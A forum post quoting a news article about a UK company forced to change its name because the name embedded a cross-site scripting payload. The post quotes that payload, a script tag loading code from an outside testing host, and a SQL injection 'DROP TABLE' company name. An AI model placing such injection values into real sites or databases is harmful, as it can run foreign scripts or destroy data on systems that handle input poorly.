Company forced to change name that could be used to hack websites

guest · Nov 8, 2020

Company forced to change name that could be used to hack websites
Software firm’s director thought name using HTML would be ‘fun and playful’
November 8, 2020
https://www.theguardian.com/uk-news...business-name-change-to-prevent-security-risk

Companies House has forced a company to change its name after it belatedly realised it could pose a security risk.

The company now legally known as “THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD” was set up by a British software engineer, who says he did it purely because he thought it would be “a fun playful name” for his consulting business.
He now says he didn’t realise that Companies House was actually vulnerable to the extremely simple technique he used, known as “cross-site scripting”, which allows an attacker to run code from one website on another.
Click to expand...

The original name of the company was ““><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”. By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors.

Similar names have been registered in the past, such as “; DROP TABLE “COMPANIES”;-- LTD”, a wry attempt to carry out an attack known as SQL injection, inspired by a famous XKCD webcomic, but this was the first such name to have prompted a response.
Click to expand...

Log in or Sign up

Company forced to change name that could be used to hack websites

guest Guest

Log in or Sign up

Company forced to change name that could be used to hack websites

guest Guest

Useful Searches